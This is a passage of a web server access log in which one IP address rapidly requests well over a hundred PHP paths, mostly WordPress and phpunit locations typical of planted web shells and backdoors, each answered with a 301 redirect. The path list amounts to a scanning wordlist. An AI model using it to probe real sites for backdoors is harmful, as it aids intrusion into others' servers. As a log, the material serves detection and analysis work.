"GET /aks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.56.136 - - [24/Apr/2025:20:34:17 -0400] "GET /wp-content/uploads/wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:18 -0400] "GET /.well-known/acme-challenge/wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:19 -0400] "GET /moderation.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:19 -0400] "GET /core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:19 -0400] "GET /wp-content/wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 156.146.56.136 - - [24/Apr/2025:20:34:20 -0400] "GET /tong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:34:20 -0400] "GET /.well-known/pki-validation/wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:34:21 -0400] "GET /wp-content/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:34:21 -0400] "GET /wp-content/plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:34:21 -0400] "GET /wp-includes/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:21 -0400] "GET /wp-includes/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.56.136 - - [24/Apr/2025:20:34:22 -0400] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:34:22 -0400] "GET /wp-includes/wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 156.146.56.136 - - [24/Apr/2025:20:34:22 -0400] "GET /wp-content/themes/cay-van-phong/skibidi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:22 -0400] "GET /.well-known/wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:34:23 -0400] "GET /wp-content/themes/twentytwentytwo/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.136 - - [24/Apr/2025:20:34:23 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/kill.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.56.136 - - [24/Apr/2025:20:34:23 -0400] "GET /images/images.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:23 -0400] "GET /fai.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:34:24 -0400] "GET /ext.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 156.146.56.136 - - [24/Apr/2025:20:34:24 -0400] "GET /wsa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 156.146.56.136 - - [24/Apr/2025:20:34:24 -0400] "GET /home.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.136 - - [24/Apr/2025:20:34:24 -0400] "GET /wp-includes/sitemaps/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 156.146.56.136 - - [24/Apr/2025:20:34:24 -0400] "GET /wp-includes/js/tinymce/wp-tinymce.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:25 -0400] "GET /indosec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 156.146.56.136 - - [24/Apr/2025:20:34:25 -0400] "GET /templates/beez3/error.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 156.146.56.136 - - [24/Apr/2025:20:34:25 -0400] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:25 -0400] "GET /phpinfo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:26 -0400] "GET /wp-includes/Text/Diff/Engine.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 156.146.56.136 - - [24/Apr/2025:20:34:26 -0400] "GET /wp-content/uploads/uploads.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:26 -0400] "GET /wp-includes/PHPailer/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.56.136 - - [24/Apr/2025:20:34:26 -0400] "GET /upload/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:27 -0400] "GET /wp-includes/ID3/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:34:27 -0400] "GET /wp-includes/css/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 156.146.56.136 - - [24/Apr/2025:20:34:27 -0400] "GET /wp-content/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 156.146.56.136 - - [24/Apr/2025:20:34:27 -0400] "GET /wp-includes/product.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:27 -0400] "GET /wp-includes/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:28 -0400] "GET /wp-admin/maint/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 156.146.56.136 - - [24/Apr/2025:20:34:28 -0400] "GET /wp-admin/includes/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 156.146.56.136 - - [24/Apr/2025:20:34:28 -0400] "GET /wp-content/themes/tflow/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.56.136 - - [24/Apr/2025:20:34:28 -0400] "GET /wp-admin/user/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:28 -0400] "GET /css/css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 156.146.56.136 - - [24/Apr/2025:20:34:29 -0400] "GET /wp-includes/click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 156.146.56.136 - - [24/Apr/2025:20:34:29 -0400] "GET /wp-includes/IXR/class-IXR-http.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:29 -0400] "GET /wp-content/uploads/cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:29 -0400] "GET /wp-admin/js/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:30 -0400] "GET /wp-admin/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 156.146.56.136 - - [24/Apr/2025:20:34:30 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 156.146.56.136 - - [24/Apr/2025:20:34:30 -0400] "GET /.well-known/acme-challenge/class_api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:30 -0400] "GET /templates/beez/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:31 -0400] "GET /.well-known/pki-validation/mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 156.146.56.136 - - [24/Apr/2025:20:34:31 -0400] "GET /wp-admin/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 156.146.56.136 - - [24/Apr/2025:20:34:31 -0400] "GET /uploads/Alex-Cross.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:31 -0400] "GET /wp-includes/ID3/mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 156.146.56.136 - - [24/Apr/2025:20:34:32 -0400] "GET /wp-includes/SimplePie/Content/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 156.146.56.136 - - [24/Apr/2025:20:34:32 -0400] "GET /wp-content/plugins/helloapx/wp-apxupx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 156.146.56.136 - - [24/Apr/2025:20:34:32 -0400] "GET /wp-content/plugins/dhon/newsfeed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:34:32 -0400] "GET /vedcve.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:33 -0400] "GET /jsdindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 156.146.56.136 - - [24/Apr/2025:20:34:33 -0400] "GET /lofter.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:33 -0400] "GET /wp-includes/sodium_compat/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 156.146.56.136 - - [24/Apr/2025:20:34:33 -0400] "GET /images/transfusem.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.136 - - [24/Apr/2025:20:34:34 -0400] "GET /wp-includes/PHPMailer/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:34 -0400] "GET /wp-includes/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 156.146.56.136 - - [24/Apr/2025:20:34:34 -0400] "GET /wp-content/uploads/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:34 -0400] "GET /plugins/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.136 - - [24/Apr/2025:20:34:35 -0400] "GET /wp-content/plugins/ioxi/retu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:35 -0400] "GET /.well-known/acme-challenge/sxx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:35 -0400] "GET /wp-includes/widgets/parx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:35 -0400] "GET /test/wp-admin/maint/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:34:35 -0400] "GET /wp-content/plugins/js_composer/assets/wp-blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 156.146.56.136 - - [24/Apr/2025:20:34:36 -0400] "GET /wp-includes/SimplePie/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:36 -0400] "GET /wp-admin/css/colors/coffee/upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.56.136 - - [24/Apr/2025:20:34:36 -0400] "GET /wp-crom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.56.136 - - [24/Apr/2025:20:34:37 -0400] "GET /wp-confiq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.136 - - [24/Apr/2025:20:34:37 -0400] "GET /geju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:37 -0400] "GET /hiroshi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:37 -0400] "GET /fun.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:34:38 -0400] "GET /kajisak.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.56.136 - - [24/Apr/2025:20:34:38 -0400] "GET /TNT.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:38 -0400] "GET /trust.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 156.146.56.136 - - [24/Apr/2025:20:34:38 -0400] "GET /godsend.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.136 - - [24/Apr/2025:20:34:38 -0400] "GET /wp-zett.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 156.146.56.136 - - [24/Apr/2025:20:34:39 -0400] "GET /LV.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:39 -0400] "GET /87.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 156.146.56.136 - - [24/Apr/2025:20:34:39 -0400] "GET /pi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:40 -0400] "GET /wboom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:40 -0400] "GET /gettest.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:40 -0400] "GET /wp-ok.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:41 -0400] "GET /bionic.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:34:41 -0400] "GET /hidey.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:42 -0400] "GET /myk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:42 -0400] "GET /kajiwara.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:43 -0400] "GET /wp-sigunq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:34:43 -0400] "GET /my1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:43 -0400] "GET /aclass.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:43 -0400] "GET /admin1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 156.146.56.136 - - [24/Apr/2025:20:34:44 -0400] "GET /wp-signups.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 156.146.56.136 - - [24/Apr/2025:20:34:44 -0400] "GET /cdm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:44 -0400] "GET /Simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 156.146.56.136 - - [24/Apr/2025:20:34:45 -0400] "GET /def.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:45 -0400] "GET /infos.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:34:46 -0400] "GET /admin11.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:46 -0400] "GET /fond.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:46 -0400] "GET /mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.136 - - [24/Apr/2025:20:34:46 -0400] "GET /termps.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:47 -0400] "GET /vip.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:34:47 -0400] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.136 - - [24/Apr/2025:20:34:47 -0400] "GET /special.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 156.146.56.136 - - [24/Apr/2025:20:34:47 -0400] "GET /search.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 156.146.56.136 - - [24/Apr/2025:20:34:47 -0400] "GET /wp-log1n.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.136 - - [24/Apr/2025:20:34:48 -0400] "GET /networks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:48 -0400] "GET /report.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:34:49 -0400] "GET /abby.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 156.146.56.136 - - [24/Apr/2025:20:34:49 -0400] "GET /anger.php HTTP/1.1" 301 